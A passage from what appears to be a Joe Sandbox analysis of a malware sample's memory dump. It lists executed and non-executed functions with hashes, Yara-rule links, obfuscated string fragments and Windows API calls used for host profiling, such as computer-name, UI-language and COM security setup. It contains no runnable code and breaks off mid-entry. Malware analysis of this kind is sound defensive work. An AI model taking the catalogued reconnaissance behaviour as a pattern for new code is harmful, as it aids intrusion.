Function 0043E480 Relevance: 1.3, Strings: 1, Instructions: 87COMMON

Download Yara Rule

Strings

D]+\, xrefs: 0043E720

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: D]+\
API String ID: 0-1174097187
Opcode ID: 9d161e84de2f7555242da01d33d4d8f28cbe97ea0dd24b32c981d82512e4d437
Instruction ID: 1f0eda8ebab85fc63d260991d05e4944e3ba6f10f570a84cfcae80c7592f5f0d
Opcode Fuzzy Hash: 9d161e84de2f7555242da01d33d4d8f28cbe97ea0dd24b32c981d82512e4d437
Instruction Fuzzy Hash: 1A21993874A2008BD7159F16D89057BB7A3ABDF320F286A3DD491973D5C7389C139B0A

Function 0043BE00 Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 30bd2b9388c7865771ac1c98e209af6165e8470e4ed8497be97774fabb6f47fa
Instruction ID: 91e423a8d71b9ca93661c5d774922ffab8727c9930002bf8e3d17d02714b6c2b
Opcode Fuzzy Hash: 30bd2b9388c7865771ac1c98e209af6165e8470e4ed8497be97774fabb6f47fa
Instruction Fuzzy Hash: 8D719D37A092108BD318DE68DC8177BB793EBD9320F19913EDA8597395EA789C0187C9

Function 004410A0 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ddaefc3122d0a29c2d1e2e2dc1f90ba7ad0d0778dcf70d3859c7ddf8d2b40f6c
Instruction ID: 285a876e79829b1bb6fc7e327ce1b3e5f824323e7479033f179b542b68549323
Opcode Fuzzy Hash: ddaefc3122d0a29c2d1e2e2dc1f90ba7ad0d0778dcf70d3859c7ddf8d2b40f6c
Instruction Fuzzy Hash: 9E4133343043009BF7248B649C81B7BB7E6EBCA310F29852EE785972B1DA74EC918759

Function 00422F20 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44f87b156bf2ad339aca71677da83c4badbedcc40e7a7a487ff8e5549d9d4a96
Instruction ID: cbb2b17deab267035dcd92c3504322f9ecaaeb0fd3364b1447ccaa2239d6988f
Opcode Fuzzy Hash: 44f87b156bf2ad339aca71677da83c4badbedcc40e7a7a487ff8e5549d9d4a96
Instruction Fuzzy Hash: D02100A06182219BC7209F28DD1157BB7F0EF92364F561A1DE0D5CB394F3788841E36A

Function 0043E41E Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d60bb4cb57b364223c2d4dcd3dedbd90682f8f63a2be30cca093d2391e0f6a51
Instruction ID: 02554af9033f7a1d0debf6053af3367c30ffa2551dfdf846ea6d527e096fc579
Opcode Fuzzy Hash: d60bb4cb57b364223c2d4dcd3dedbd90682f8f63a2be30cca093d2391e0f6a51
Instruction Fuzzy Hash: E311A338A9A1008BEB088B15EC9267B73A7DBDB321F28653DD18297395D728DC13961D

Function 0042D790 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 94COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000005,?,00000100), ref: 0042D880

Strings

),4/, xrefs: 0042D7C9

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: ComputerName
String ID: ),4/
API String ID: 3545744682-3721547394
Opcode ID: a43c09d707344827005e399e77354aae45285dc982b92afbd5725d9c0e4bf3e4
Instruction ID: 9d16daa4e6a5bffb1b9f6b71d6dc9d3170ba995ed6f3c4ea9c6f2385f90bad37
Opcode Fuzzy Hash: a43c09d707344827005e399e77354aae45285dc982b92afbd5725d9c0e4bf3e4
Instruction Fuzzy Hash: 6021032570C6D08BDB399B25D8953EBBBE59BE7304F28496EC4C987382C63C840AC716

Function 0042D78E Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000005,?,00000100), ref: 0042D880

Strings

),4/, xrefs: 0042D7C9

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: ComputerName
String ID: ),4/
API String ID: 3545744682-3721547394
Opcode ID: dec72533f970462f63f3dba25ab3c013887520efe72e6b382f1b9b91f6d3164b
Instruction ID: 9640f101cffb0d788e2b0bffaf04f8562fefa1008a355df27c336f0d3e528fc6
Opcode Fuzzy Hash: dec72533f970462f63f3dba25ab3c013887520efe72e6b382f1b9b91f6d3164b
Instruction Fuzzy Hash: 1121363574D6808BDB389B24D8953EEBBE5DBD6314F28492EC0D987382C63C880AC716

Function 0042D69A Relevance: 3.1, APIs: 2, Instructions: 75COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0042D6C5
GetComputerNameExA.KERNELBASE(00000006,?,00000100), ref: 0042D76B

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID:
API String ID: 2904949787-0
Opcode ID: 838002f22e5552b63fc3b3a971a43722fdbc86666efe6d5b18fa31070165d779
Instruction ID: 5fa88f722a2439080c6f8d8b3bd7fe60496f700f0881a206de304dc3dbf5c7cd
Opcode Fuzzy Hash: 838002f22e5552b63fc3b3a971a43722fdbc86666efe6d5b18fa31070165d779
Instruction Fuzzy Hash: 4821903450C3C18AD7269F38A8147EBBBF4AB9B304F94086DD0CDD7282DB398415CB16

Function 0042D698 Relevance: 3.1, APIs: 2, Instructions: 62COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0042D6C5
GetComputerNameExA.KERNELBASE(00000006,?,00000100), ref: 0042D76B

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: ComputerFreeLibraryName
String ID:
API String ID: 2904949787-0
Opcode ID: a89e2df2b82534f1b8d7bd21c4a62138691ac6cd9338f7860ad288fc98cf3964
Instruction ID: d50db324c89872858c5ae673085cdd2e6f54b44d8bcca5cd264eff06ea6337e1
Opcode Fuzzy Hash: a89e2df2b82534f1b8d7bd21c4a62138691ac6cd9338f7860ad288fc98cf3964
Instruction Fuzzy Hash: 8611C27550C380CBD7229F34A854BEBBBF4AB8A314F94092DD0CED7292DB354411CB16

Function 0040CA45 Relevance: 3.0, APIs: 2, Instructions: 39COMMON

Download Yara Rule

APIs

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040CA57
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040CA72

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: e1348e08dc85f4e56504854b50923ba1b8b0db0aa19211eec4f123fc318df983
Instruction ID: 234453393f5834605564d65151b6b375e3a4b817bb2e0206916e3214f7075456
Opcode Fuzzy Hash: e1348e08dc85f4e56504854b50923ba1b8b0db0aa19211eec4f123fc318df983
Instruction Fuzzy Hash: 1FF0FE3A7C87207AFA7D5B249D27F2572219746F26F364318BB123E6D9C6D03601854C

Function 0042D646 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000100), ref: 0042D76B

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: b0f6869d71805d5af60702ab6b5e8905e68b6504f082f7ea5db34e8b0f4c2a50
Instruction ID: 453412f3c97c11942f8fd2cc75c2f1c55b041b798ddcecc6cab7669ea72e30ba
Opcode Fuzzy Hash: b0f6869d71805d5af60702ab6b5e8905e68b6504f082f7ea5db34e8b0f4c2a50
Instruction Fuzzy Hash: DF11A17550C780CBD7269F38A8607EB7BF4AB8A314F94096DD0CED7282DB354452CB16

Function 0043DE6F Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043DEE1

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 5986128bf8ca5def5ee08a39af93412b8e108a80c69ffab8366dcc86f72c6ae8
Instruction ID: aaeb7ab0682c4730c483aa840e6b71426efb24d2d70ae2151cd8324dd66f0e3c
Opcode Fuzzy Hash: 5986128bf8ca5def5ee08a39af93412b8e108a80c69ffab8366dcc86f72c6ae8
Instruction Fuzzy Hash: 3E0145B7F215500BDB048B39AC025AB37D393C5725B1EA93AD541C7705E97CC8138388

Function 00436F18 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00436F45

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: 2a1af500a7082332b03a41cad7f154f500f18240fa2734a4bf06d1623c686e33
Instruction ID: 6ae89079016830238f47f6d263a4982a9d1632c2971072903f15a55dfd625041
Opcode Fuzzy Hash: 2a1af500a7082332b03a41cad7f154f500f18240fa2734a4bf06d1623c686e33
Instruction Fuzzy Hash: C4113676D042B68FCF108F7C8C003AEBFA15B5E320F1AC6A9C8D567399D6349A41C7A1

Function 0043DC52 Relevance: 1.5, APIs: 1, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000), ref: 0043DC7A

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: fb26bf348a902186757239148c40a4d77113ebd2e9d11093d696809458f57050
Instruction ID: e351f16c9e9e804776bebffec9a4a8d4d4710906d33062035c727419a058fec9
Opcode Fuzzy Hash: fb26bf348a902186757239148c40a4d77113ebd2e9d11093d696809458f57050
Instruction Fuzzy Hash: 20E0ED7A928501EAD6162F34BD06A9B3A24EF8B305F00247AF90240162EB3DDC02D3DE

Function 004322BF Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00432304

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 9600e38cdf75bff357aeb63c79d088c99928eed42bddec746c46465cd7373e1f
Instruction ID: 20dac5d528919427545788d7eeb4aed635a3c053b7355f57fcf9f76777ea8ad2
Opcode Fuzzy Hash: 9600e38cdf75bff357aeb63c79d088c99928eed42bddec746c46465cd7373e1f
Instruction Fuzzy Hash: 8CF062B45087418FE314DF28D5A875BBBF0FB89308F00891DE4A58B290CBB5A648CF82

Function 00431BF2 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00431C3A

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 08fb156195fd3c4482367fd95f9b41d8ee50cd2ff5e02c54f8d162ce462df92b
Instruction ID: b46d0a6cd2fbf688488d5b4959f581dccd0e409268c3f2cdabf66bbfdda4522a
Opcode Fuzzy Hash: 08fb156195fd3c4482367fd95f9b41d8ee50cd2ff5e02c54f8d162ce462df92b
Instruction Fuzzy Hash: 89F062B45187028FE315DF69D5A8B1ABBF4EB85304F00991DE495CB390CBB5AA49CF82

Function 0043DED3 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043DEE1

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: f649193448ec24c331c03fabb1e383d56591e4d59edbab9aad73e93310180486
Instruction ID: c1549a2bf8c77f2936ad342368e9edc76637b140a7387dd89ed47e3b54258ab5
Opcode Fuzzy Hash: f649193448ec24c331c03fabb1e383d56591e4d59edbab9aad73e93310180486
Instruction Fuzzy Hash: 0CE092FAA406418BCB14DF24EC855653321F78A316309867AE80187B29EA79D91BDB84

Function 0040C9F0 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040CA03

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 8e0344b3ae1fccf4d0d5557f9c5dfa078e0b467d0ea07103fb6347b381317499
Instruction ID: 8600b06a52a6abfffb34b9ab0ea58f0aad9b6e029658e7f2d82d7acfc69349b1
Opcode Fuzzy Hash: 8e0344b3ae1fccf4d0d5557f9c5dfa078e0b467d0ea07103fb6347b381317499
Instruction Fuzzy Hash: DEE0C236A945442BD348AB39EC1BF12361B9382B21F54823AB153C22D6D824A9018668

Function 0043BDD0 Relevance: 1.5, APIs: 1, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,00000000,004402C8,?,?,00000000,00000000,?,?), ref: 0043BDEE

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: db9ae12b990647d2a7734f7f56e69debc541080154f2973819d4a3d321d63393
Instruction ID: 4564416d00eada630f6d7bf6c1d31739aa7e804e23931df87a1a0abdd1311234
Opcode Fuzzy Hash: db9ae12b990647d2a7734f7f56e69debc541080154f2973819d4a3d321d63393
Instruction Fuzzy Hash: 5BD01231845222EBC6111F14FC06B873A54EF0A321F1704B2B4006B071C674EC51D6D8

Function 0043BDB0 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,0040884D,8A95A32F), ref: 0043BDC0

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b214e8039c0e4ee34f8711619bbe25d06595c74a77f439c894f94c5548470bc6
Instruction ID: 9c977ca01f8acba8cafa52007557dd414050bba23c13998c9a8d5097f85a225c
Opcode Fuzzy Hash: b214e8039c0e4ee34f8711619bbe25d06595c74a77f439c894f94c5548470bc6
Instruction Fuzzy Hash: 22C09B31545221EBC9102B15FC05FC63F54DF55361F110066B00467071C760ACC2C6D8

Non-executed Functions

Function 00428B70 Relevance: 22.4, APIs: 3, Strings: 9, Instructions: 1359COMMON

Download Yara Rule

Strings

PSRU, xrefs: 00429298
]Z, xrefs: 00428DC5
@S, xrefs: 004293AD
':, xrefs: 004297F5
U/, xrefs: 004293A6
jeZz, xrefs: 00429669
zx, xrefs: 00428D75
vt, xrefs: 00428D7F
PSRU, xrefs: 0042988D

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: ':$@S$PSRU$PSRU$U/$]Z$jeZz$vt$zx
API String ID: 0-1260848549
Opcode ID: 19501032a2ba62efa562be2b0314b74bb358cc7f7751c735db74a393e6b5d05b
Instruction ID: c46043b5794d7279643af4f13bc75dc813859b407f266d7d53b031f423680a85
Opcode Fuzzy Hash: 19501032a2ba62efa562be2b0314b74bb358cc7f7751c735db74a393e6b5d05b
Instruction Fuzzy Hash: 75A24275E042258FDB24CF68EC807AEB7B1FB4A310F1981B9D845AB391DB749D42CB94

Function 004284B0 Relevance: 22.3, APIs: 3, Strings: 9, Instructions: 1268COMMON

Download Yara Rule

Strings

PSRU, xrefs: 00429298
]Z, xrefs: 00428DC5
@S, xrefs: 004293AD
':, xrefs: 004297F5
U/, xrefs: 004293A6
jeZz, xrefs: 00429669
zx, xrefs: 00428D75
vt, xrefs: 00428D7F
PSRU, xrefs: 0042988D

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: ':$@S$PSRU$PSRU$U/$]Z$jeZz$vt$zx
API String ID: 0-1260848549
Opcode ID: eb0b8dd4ef78b90ad3dc86e952b35d3360a33e53ce52a37df13d30fe1d9c872b
Instruction ID: 005354f063a956057f63eab0fac9c82554c4948d72740ae6bc67920985eb857a
Opcode Fuzzy Hash: eb0b8dd4ef78b90ad3dc86e952b35d3360a33e53ce52a37df13d30fe1d9c872b
Instruction Fuzzy Hash: 66923275E04224CFDB24CF68EC817AEBBB1FB4A310F1981A9D445AB391D7789D42CB94

Function 00429CC0 Relevance: 20.1, APIs: 2, Strings: 9, Instructions: 802COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 00429DD1
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,?), ref: 00429E72

Strings

?A!C, xrefs: 0042A1AC
xY[, xrefs: 0042A1BA
v, xrefs: 0042A045
%E:G, xrefs: 0042A1B3
(]?_, xrefs: 0042A1C1
$Q7S, xrefs: 0042A1C8
zi, xrefs: 0042A005
bt, xrefs: 00429FFB
$Q7S(]?_xY[%E:G?A!C, xrefs: 0042A20B

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: v$$Q7S$$Q7S(]?_xY[%E:G?A!C$%E:G$(]?_$?A!C$bt$xY[$zi
API String ID: 237503144-4040503970
Opcode ID: 0d29ba93c30abe2ac23bb779afc63b8980d4201dd3f87f13145b52c2eb0648da
Instruction ID: 89c069fd225fa25b229a3f9402d6108f2652b0dcfd083612dc293f06312a9e86
Opcode Fuzzy Hash: 0d29ba93c30abe2ac23bb779afc63b8980d4201dd3f87f13145b52c2eb0648da
Instruction Fuzzy Hash: 244245B5E04229CFDB10CF68DC417AEB7B1FF46314F0581AAD849AB382D734A946CB95

Function 00425FA6 Relevance: 14.8, APIs: 1, Strings: 7, Instructions: 810COMMON

Download Yara Rule

Strings

WdUj, xrefs: 00425FB6
sp, xrefs: 00425FD1
S`Qf, xrefs: 00426056
b]B, xrefs: 00425D50
b_B, xrefs: 00425F4F
):'$, xrefs: 004261A6
[hYn, xrefs: 00425FBE

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: ):'$$S`Qf$WdUj$[hYn$b]B$b_B$sp
API String ID: 0-3259022293
Opcode ID: 56210761bb4b53df8e1558984b5daa0b813b4f40cb15a9195a30d9665eea32b0
Instruction ID: 1d76766024118d31c458aaa214abafe5c5a744e10f8f3f2bc584e00dd830da5c
Opcode Fuzzy Hash: 56210761bb4b53df8e1558984b5daa0b813b4f40cb15a9195a30d9665eea32b0
Instruction Fuzzy Hash: 6E3246367083618BC714CF28E8412AFB7E2FF95304F5A882DE8C597351E7789906DB86

Function 00425DC0 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 291COMMON

Download Yara Rule

Strings

Y[, xrefs: 00425DFA
DE, xrefs: 00425E1B
UW, xrefs: 00425DEF
)m)o, xrefs: 00425DD9
]_, xrefs: 00425E05
b]B, xrefs: 00425D50

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: )m)o$DE$b]B$UW$Y[$]_
API String ID: 0-2850400835
Opcode ID: 6fffeedba8c9b6e3bc2a73b559475cfc638f7babee520efda01392cb43873644
Instruction ID: 72c83ddd02c82a620e33c48a3576209fe55860a24fbdf84558ad97696de9be6f
Opcode Fuzzy Hash: 6fffeedba8c9b6e3bc2a73b559475cfc638f7babee520efda01392cb43873644
Instruction Fuzzy Hash: 4E81357234C3059BD7248F19AC427AFBBD1EBC5714F11983DF9988B392D77898069B82

Function 0041B470 Relevance: 12.1, APIs: 2, Strings: 4, Instructions: 1579COMMON

Download Yara Rule

APIs

Part of subcall function 0043DCD0: LdrInitializeThunk.NTDLL(00440DFD,00000002,00000018,?,?,00000018,?,?,?), ref: 0043DCFE

FreeLibrary.KERNEL32(?), ref: 0041BBAA
FreeLibrary.KERNEL32(?), ref: 0041BC5B

Strings

DGF9, xrefs: 0041B4EA
30, xrefs: 0041B891
DGF9, xrefs: 0041C58C
DGF9, xrefs: 0041BA9A

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: 30$DGF9$DGF9$DGF9
API String ID: 764372645-172885539
Opcode ID: 0a2a4571d87a4ec5d3aa3dd6d44e01662053d8d133f9794a86922544e8fd8779
Instruction ID: 1c10e088a41e62ce8f3918332ac1822ffc6085a1d3894b9ef55f7ebcb5a4c6dc
Opcode Fuzzy Hash: 0a2a4571d87a4ec5d3aa3dd6d44e01662053d8d133f9794a86922544e8fd8779
Instruction Fuzzy Hash: E8B20376A483004BD714CF69DC907ABBBD3EBD9314F1DC42EE59587351DBB888428B8A

Function 0042A100 Relevance: 9.2, Strings: 7, Instructions: 433COMMON

Download Yara Rule

Strings

?A!C, xrefs: 0042A1AC
xY[, xrefs: 0042A1BA
%E:G, xrefs: 0042A1B3
(]?_, xrefs: 0042A1C1
PSRUbt, xrefs: 0042A692
$Q7S, xrefs: 0042A1C8
$Q7S(]?_xY[%E:G?A!C, xrefs: 0042A20B

Memory Dump Source

Source File: 00000002.00000002.2977383766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2977383766.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_6QLvb9i.jbxd

Similarity

API ID:
String ID: $Q7S$$Q7S(]?_xY[%E:G?A!C$%E:G$(]?_$?A!C$PSRUbt$xY[
API String ID: 0-126313201
Opcode ID: 6fea732bdeb311c279f000e18a110c6df5ba4b4f921c1cc0b170037bcb82f93b
Instruction ID: 78eff5d2c14e0b5b970a87bf66e9a25845aa0d644c471aa9c3011f0abc936073
Opcode Fuzzy Hash: 6fea732bdeb311c279f000e18a110c6df5ba4b4f921c1cc0b170037bcb82f93b
Instruction Fuzzy Hash: 2ED179B5E04215CFDB108F54EC417BEB3B1FF46310F4841AAD8496B392D738A952CB9A

Function 0041AFD7 Relevance: 9.2, APIs: 2, Strings: 3, Instructions: 407COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000000,00000000,?,?), ref: 0041B380

Strings

/, xrefs: 0041AEF7
/, xrefs: 0041AF62
